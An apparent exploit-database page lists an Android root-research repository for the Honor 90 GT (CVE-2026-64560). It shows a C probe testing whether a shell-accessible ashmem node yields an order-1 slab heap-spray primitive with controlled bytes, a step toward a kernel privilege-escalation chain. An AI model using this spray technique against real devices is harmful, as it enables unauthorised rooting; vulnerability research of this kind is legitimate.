Exploit databaseDownload repository ZIP
GH-e2bb33f25c5dfe2d640cadf16e3f502b
sangsheng2026/honor-90gt-mag-an00-root-research
Sources for CVE-2026-64560
18 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files13
sangsheng2026/honor-90gt-mag-an00-root-researchRevision cb5c377f81d0
- ↑..Parent directory
- README.md
- ashmem2_probe.c
- cfgcheck.sh
- devlist.sh
- devprobe.c
- hold_timers.c
- io_uring_probe.c
- ipv6opt_probe.c
- km256_probe.c
- msg_spray.c
- offsets_check.py
- order1_caches.sh
- prim_probe.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/ashmem2_probe.c
C · 4,619 bytes/*
* Is the *libcutils* ashmem node a usable order-1 slab spray?
*
* Correcting an earlier finding: /dev/ashmem is denied to the shell domain
* (EACCES), but Android 16 also exposes a per-boot node
*
* /dev/ashmem<boot_id> label u:object_r:ashmem_libcutils_device:s0
*
* which the shell domain CAN open O_RDWR (it is what libcutils' ashmem shim
* uses). That matters a lot: ashmem_area_cache on this device is
* objsize=312, objperslab=26, pagesperslab=2 -- an ORDER-1 slab -- and
* ASHMEM_SET_NAME copies up to 256 bytes of user data into the front of the
* object.
*
* If that works, it is the missing primitive: an allocation whose slab is
* order-1 (so a freed posix_timers_cache page can be reused as one of its
* slabs) carrying user-controlled bytes.
*
* Usage: ashmem2_probe [areas] [name_bytes]
*/
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define __ASHMEMIOC 0x77
#define ASHMEM_NAME_LEN 256
#define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
static int read_slab(const char *name, long *slabs)
{
char line[512];
FILE *fp = fopen("/proc/slabinfo", "re");
size_t n = strlen(name);
*slabs = -1;
if (!fp)
return -1;
while (fgets(line, sizeof(line), fp)) {
if (!strncmp(line, name, n) && (line[n] == ' ' || line[n] == '\t')) {
long a, t, os, ops, pps, as, ns, sa;
if (sscanf(line + n, " %ld %ld %ld %ld %ld : tunables %*d %*d %*d "
": slabdata %ld %ld %ld",
&a, &t, &os, &ops, &pps, &as, &ns, &sa) >= 8)
*slabs = as;
break;
}
}
fclose(fp);
return 0;
}
/* find /dev/ashmem* (the per-boot libcutils node) */
static int find_node(char *out, size_t n)
{
DIR *dir = opendir("/dev");
struct dirent *de;
if (!dir)
return -1;
while ((de = readdir(dir)) != NULL) {
if (strncmp(de->d_name, "ashmem", 6))
continue;
if (!strcmp(de->d_name, "ashmem"))
continue; /* the denied legacy node */
snprintf(out, n, "/dev/%s", de->d_name);
closedir(dir);
return 0;
}
closedir(dir);
return -1;
}
int main(int argc, char **argv)
{
int areas = argc > 1 ? atoi(argv[1]) : 4000;
int nlen = argc > 2 ? atoi(argv[2]) : 240;
static int fds[40000];
char node[256], name[ASHMEM_NAME_LEN], back[ASHMEM_NAME_LEN];
long s0, s1;
int ok = 0, err = 0, open_errno = 0;
setvbuf(stdout, NULL, _IOLBF, 0);
if (areas > (int)(sizeof(fds) / sizeof(fds[0])))
areas = (int)(sizeof(fds) / sizeof(fds[0]));
if (nlen > ASHMEM_NAME_LEN - 1)
nlen = ASHMEM_NAME_LEN - 1;
if (find_node(node, sizeof(node))) {
printf("ASHMEM2: no /dev/ashmem* node found\n");
return 1;
}
printf("ASHMEM2 node=%s areas=%d name_bytes=%d\n", node, areas, nlen);
read_slab("ashmem_area_cache", &s0);
printf("BEFORE ashmem_area_cache slabs=%ld\n", s0);
memset(name, 0, sizeof(name));
for (int i = 0; i < nlen; i++)
name[i] = (char)('A' + (i % 26));
for (int i = 0; i < areas; i++) {
int fd = open(node, O_RDWR | O_CLOEXEC);
if (fd < 0) {
open_errno = errno;
break;
}
name[0] = (char)('a' + (i % 26));
name[1] = (char)('a' + ((i / 26) % 26));
name[2] = (char)('a' + ((i / 676) % 26));
if (ioctl(fd, ASHMEM_SET_NAME, name)) {
err = errno;
close(fd);
break;
}
if (ioctl(fd, ASHMEM_SET_SIZE, (size_t)4096)) {
err = errno;
close(fd);
break;
}
fds[ok++] = fd;
}
read_slab("ashmem_area_cache", &s1);
printf("AFTER ashmem_area_cache slabs=%ld (delta %+ld)\n", s1, s1 - s0);
printf("RESULT areas=%d open_errno=%d ioctl_errno=%d\n", ok, open_errno, err);
/* prove the bytes really land in the object: read one back */
if (ok > 0) {
memset(back, 0, sizeof(back));
if (ioctl(fds[ok - 1], ASHMEM_GET_NAME, back) == 0)
printf("VERIFY name readback: \"%.20s...\" len=%zu (expected %d bytes)\n",
back, strlen(back), nlen);
}
for (int i = 0; i < ok; i++)
close(fds[i]);
printf("ASHMEM2_PROBE_DONE\n");
return 0;
}